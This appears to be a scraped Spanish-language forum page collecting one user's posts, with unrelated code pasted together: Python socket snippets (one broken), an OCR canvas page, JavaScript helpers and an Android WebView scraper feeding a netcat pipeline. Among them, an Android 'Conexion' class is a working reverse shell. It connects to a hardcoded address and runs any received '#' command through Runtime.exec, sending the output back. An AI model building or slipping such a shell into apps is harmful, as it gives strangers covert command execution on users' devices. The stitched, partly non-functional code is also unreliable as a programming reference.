Usa el reshacker y hay otra que no me viene el nombre ahora. Jalgo
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúimport socket
def netcat(host, puerto, contenido):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, puerto))
contenido="GET /index.html HTTP/1.1\r\nHost: www.google.com\r\nConnection: close\r\n\r\n"
contenido = contenido.encode('utf-8')
s.sendall(contenido)
response = b''
while 1:
recv = s.recv(2048)
resp = repr(recv)
respT= len(resp)
if respT < 5:
break
response += recv
s.shutdown(socket.SHUT_WR)
s.close()
return response
respuesta = netcat("google.com" , 80 , 1)
print(respuesta)
print("Fin ejec")
import socket
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
host = s.gethostname()
port = 9999
serversocket.bind((host, port))
nOR=5
serversocket.listen(nOR)
while True:
clientsocket,addr = serversocket.accept()
print("Got a connection from %s" % str(addr)) msg = 'Thank you for connecting'+ "\r\n"
clientsocket.send(msg.encode('ascii'))
clientsocket.close()
package com.stringmanolo.rs;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import android.os.SystemClock;
/* Mensajes en la app para debug.
import android.widget.Toast;
*/
public class Conexion {
public static void Conectar(){
Thread hilo = new Thread(new Runnable() {
@Override
public void run() {
Socket socket = new Socket();
/* Intenta establecer una conexión a la dirección y puertos hardcodeados durante timeout*/
try {
/* Bloquea toda la aplicación */
SystemClock.sleep(30000);
socket.connect(new InetSocketAddress("192.168.11.1", 8585), 10000);
} catch(Exception errConexion) {
/* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
Toast.makeText(getApplicationContext(),errConexion.toString(),Toast.LENGTH_SHORT).show();
*/
android.os.Process.killProcess(android.os.Process.myPid());
}
/* Comunicación por el socket */
try {
OutputStream peticion = socket.getOutputStream();
String msgInicial = "SISTEMA REMOTO OPERATIVO\nEscribe ayuda para mostrar una lista de comandos disponibles\n";
/* Envia el texto al cliente remoto */
peticion.write(msgInicial.getBytes("UTF-8"));
/* INCLUIR: Escribir info al establecer la conexión para identificar el servidor de forma única */
peticion.flush();
/* Recibe por el socket el texto a ejecutar */
String linea = "";
String respuesta = "";
BufferedReader buffLeer = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));
/* Mientras se reciban datos desde el cliente */
while((linea = buffLeer.readLine()) != null) {
/* Innecesario, utilizar += en caso de querer loggear input del cliente */
respuesta = linea;
/* En caso de que el input recibido comienze por # */
if (respuesta.charAt(0) == '#') {
/* Quita el # para procesar el resto del input recibido */
respuesta = respuesta.substring(1);
try {
/* Pasa el comando directamente a la consola del sistema. */
/* CUIDADO: Vas crashear la aplicación si utilizas comandos no permitidos por el sistema. O comandos inexistentes. */
/* ALTERNATIVA: Implementa la utilidad o impórtala como librería para manejar las excepciones. */
/* PROBLEMA: No utilizar directamente binarios que requiera de input directo desde shell. */
/* SOLUCIÓN: La aplicación se reinicia cada X tiempo. Esto soluciona múltiples problemas relacionados con cuelges de servicios del sistema */
Process comando = Runtime.getRuntime().exec(respuesta);
/* Obtiene el resultado en la consola del sistema del dispositivo generada por el comando. */
BufferedReader salidaRemota = new BufferedReader(new InputStreamReader(comando.getInputStream()));
String salidaComando = null;
/* Mientras se reciba salida del sistema remoto */
while((salidaComando = salidaRemota.readLine()) != null) {
/* Añade saltos de linea a la salida tras cada linea. */
salidaComando += "\n";
/* Escribe en el socket */
peticion.write(salidaComando.getBytes("UTF-8"));
}
} catch(Exception err) {
/* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
Toast.makeText(getApplicationContext(),err.toString(),Toast.LENGTH_SHORT).show();
*/
}
}
/* En caso de que el input recibido sea programas */
if (respuesta.trim().equals("programas")) {
/* Muestra los binarios disponibles en el sistema. */
Process bin = Runtime.getRuntime().exec("ls system/bin");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(bin.getInputStream()));
String salidaBin = null;
while((salidaBin = stdInput.readLine()) != null) {
salidaBin += "\n";
peticion.write(salidaBin.getBytes("UTF-8"));
}
}
/* En caso de que el input recibido sea salir */
if (respuesta.trim().equals("salir")) {
/* Muestra un mensaje antes de salir. */
peticion.write("Aplicación Cerrada.\nAdios!\n".getBytes("UTF-8"));
/* Cierra el socket aquí o en OnStop */
socket.close();
/* Finaliza La Aplicación Forzosamente */
android.os.Process.killProcess(android.os.Process.myPid());
}
/* En caso de que el input recibido sea ayuda. */
if (respuesta.trim().equals("ayuda")) {
/* Muestra el texto. */
peticion.write("Acciones Disponibles:\nprogramas\n Lista todos los binarios preinstalados en el sistema remoto\n\n#comando\n Ejecuta el comando a continuación del símbolo #, por ejemplo #ls\n\nsalir\n Cierra la conexión y el programa remoto.\n".getBytes("UTF-8"));
}
}
} catch(Exception errConexion) {
/* Es obligatorio capturar la excepción */
}
} /* Fin Runneable */
}); /* Fin Hilo */
hilo.start();
}
}
function Enviar(ip, puerto, mensaje) {
var b = new XMLHttpRequest(), url = ip+"?mensaje="+mensaje+":"+puerto;
try{
b.onreadystatechange = function(){
if(b.readyState == 4 && b.status == 200) {
alert(b.responseText);
}
}
}catch(err){alert(err)}
b.open("GET", url, true);
b.send();
}
upperTriangleDesc=A=>{
for(i=1;i<A.length;++i)
for(j=0;j<i;++j)
if(A[i][j])return 0
;return 1
}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>OCR</title>
<script>
/* SHORTCUTJS lib by StringManolo.
Use of the global Scope to code faster, reduce file sizes, reduce memory usage and make some code more readable/compact. Readable Version */
(function (){
DEFINE=function(constant, value) {
if(window[constant]===undefined) {
window[constant] = value
} else {
throw new ReferenceError(constant + " is already a property of the global/window Object.\nRedefinition not allowed.");
}
}
wrapQS=function(selector) {
return d.querySelector(selector)
}
wrapQSA=function(selector) {
return d.querySelectorAll(selector)
}
wrapAEL=function(elemnt, event, value) {
elemnt.addEventListener(event, value);
}
wrapDCE=function(element) {
return d.createElement(element);
}
wrapUCOU=function(url) {
return URL.createObjectURL(url)
}
DEFINE("d", window.document);
DEFINE("w", window);
DEFINE("$", wrapQS);
DEFINE("$$", wrapQSA);
DEFINE("dw", d.write);
DEFINE("_", window.alert);
DEFINE("ael", wrapAEL);
DEFINE("dce", wrapDCE);
DEFINE("ucou", URL.createObjectURL);
})();
</script>
</head>
<body>
<canvas id="canv" width="300" height="300"></canvas>
<div id="output"></div>
<!-- <a href="" id="a">click here to download your file</a> -->
<style>
canvas {
background-color: blue;
}
body {
background-color: #000;
font-size: 2px;
}
span {
padding: 0;
letter-spacing: -1;
}
</style>
<script>
/* DOWNLOAD IMAGE CROSSORIGEN: (to avoid tainted canvas) */
const request = fetch("https://cors-anywhere.herokuapp.com/" + prompt("Introduce URL de imagen. Ej: google.com/favicon.ico"));
request.then(function(resp) {
return resp.blob();
}).then(function(blob) {
let img = dce("img");
const blobURL = ucou(blob);
img.src = blobURL;
img.id = "imagen";
d.body.append(img);
_("Imagen añadida");
}).then(function(){
ael($("#imagen"), "load", function(){LIIC()});
}).catch(function(error) {
_("Error: " + error);
})
/* LOAD IMAGE INTO CANVAS */
function LIIC() {
let canvas = $("#canv");
let contexto = canvas.getContext("2d");
let imagen = $("#imagen");
canvas.width = imagen.width;
canvas.height = imagen.height;
contexto.drawImage(imagen,0,0);
SacarPixeles();
/* GET PIXELS IMAGE COLOR AND DRAW A IMAGE */
function SacarPixeles(){
let dataImagen = contexto.getImageData(0,0, canvas.width, canvas.height);
_("Tamaño imagen data: " + dataImagen.data.length);
let pixR =[], pixG =[], pixB =[], pixA =[];
let k = "";
for(var i =0, j =0; i < dataImagen.data.length; i +=4, ++j) {
k += "Colores pixel" +(j+1)+ ": Rojo=" +dataImagen.data[i]+" \nVerde=" +dataImagen.data[i+1]+" \nAzul=" +dataImagen.data[i+2]+" \nAlfa=" +dataImagen.data[i+3]+"\n\n\n";
pixR[j] = dataImagen.data[i].toString(16);
pixG[j] = dataImagen.data[1+i].toString(16);
pixB[j] = dataImagen.data[2+i].toString(16);
pixA[j] = dataImagen.data[3+i].toString(16);
}
performance = d.createDocumentFragment();
for(var i=0; i < pixR.length; ++i) {
var tdiv=dce("b");
var tbr=dce("br");
if(i % canvas.width == 0) {
performance.appendChild(tbr);
}
/*
░▒▓█
*/
tdiv.innerHTML = "▓";
tdiv.style.color = "#"+pixR[i]+""+pixG[i]+""+pixB[i]+""+pixA[i]+"";
performance.appendChild(tdiv);
}
_("Escribiendo...");
$("#output").appendChild(performance);
_("Imagen percorrida");
_(k);
k = "";
}
}
</script>
</body>
</html>
package com.stringmanolo.elhrecent;
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebChromeClient;
import android.webkit.JsResult;
import android.os.Handler;
import com.stringmanolo.elhrecent.R;
/*
Este código ha sido desarrollado y probado en el siguiente entorno:
Sistema: Android.
IDE: Java N-IDE.
Software adicional: Termux/netcat y google chrome.
*/
/*
Como funciona?
Pones un servidor a la escucha y abres esta aplicación.
Como compilar?
Debes crear un nuevo proyecto para Android y añadir el codigo.
Este es el MainActivity.java
Añade también el permiso de acceso a internet en el manifest y añade un webview en el activity_main.xml con id navegador
android:id="@+id/navegador"
*/
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);
/* id.navegador definido en activity_main.xml */
final WebView Navegador;
Navegador = (WebView)findViewById(R.id.navegador);
/* Habilita javascript */ Navegador.getSettings().setJavaScriptEnabled(true);
/* Utiliza chrome de cliente HTTP. */
Navegador.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
/* Habilita el alert */
return super.onJsAlert(view, url, message, result);
}
});
/* Cambia el userAgent para que no salga el confirm de tapatalk */ Navegador.getSettings().setUserAgentString("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
/* Carga la página con mensajes recientes del foro. */ Navegador.loadUrl("https://foro.elhacker.net/recent.html");
/* Handler para zumbar el script en el contexto de la página del foro. Con espera asíncrona. */
final Handler jsh = new Handler();
jsh.postDelayed(new Runnable() {
@Override
public void run() {
/* Código desglosado:
javascript:
Pseudoprotocolo. Permite ejecutar el script en el contexto de la página actual.
document.querySelectorAll(\".bordercolor\");
Obtiene todos los elementos de la página con la clase bordercolor.
tags+=links[i].outerHTML;tags+=\"<p></p>\";
Obtiene el código de todos los elementos en un string y los separa utilizando etiquetas <p>.
return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags);
En la llamada a la funcion Scrap() retorna un ok status 200 codificado en base64 y codifica a base64 el código de todos los elementos obtenidos de la página.
r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);
Envia una petición GET a la dirección 127.0.0.1 puerto 8080 el parámetro y en la propia url el retorno de la función Scrap()
*/
Navegador.loadUrl("javascript:function Scrap(){var links=document.querySelectorAll(\".bordercolor\");var tam=links.length;var tags=\"\";for(var i=1;i<tam;++i){tags+=links[i].outerHTML;tags+=\"<p></p>\";}return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags)}r=new XMLHttpRequest();r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);r.send();r.onreadystatechange=function(){r.readyState==4&&r.status==200?alert(r.responseText):1}");
}
}, 15000); /* Esperar 15 segundos para conexiones lentas. */
}
}
/* Se debe poner a la escucha previamente un servidor en la dirección y puerto que asignes en el script.
Yo utilizo el siguiente comando:
$ netcat -l -v 127.0.0.1 8080 | grep -Po '(?<=(codigo=)).*(?=HTTP)' | base64 -d > codigoH.html | netcat -l -k 127.0.0.1 8081 < codigoH.html | echo -e "\r\n\r\n\r\n"
Comando desglosado:
netcat -l -v 127.0.0.1 8080
Pone a la escucha y logea la actividad en la ip 127.0.0.1 y puerto 8080. Según tu versión de netcat puede cambiar la sintaxis.
| grep -Po '(?<=(codigo=)).*(?=HTTP)'
Obtiene solo el string entre codigo= y HTTP. Es decir, solo el 200 ok status y el código extraido de la página codificado en base64.
| base64 -d > codigoH.html
Decodifica de base64 y guarda el stream en un archivo codigoH.html
| netcat -l -k 127.0.0.1 8081 < codigoH.html
Pone a la escucha el netcat también en la dirección 127.0.0.1 con puerto 8081 y responde con una petición y el contenido html. De esta forma netcat actual de servidor válido para el navegador. Al poner http://127.0.0.1:8081 recibes el código. Según tu navegador puede que necesites preformatear el documento en un html válido y añadirle algunas cabeceras o etiquetas meta para la codificación.
echo -e "\r\n\r\n\r\n"
Añade el fin de la petición para que el navegador carge la página y rompe el netcat.
*/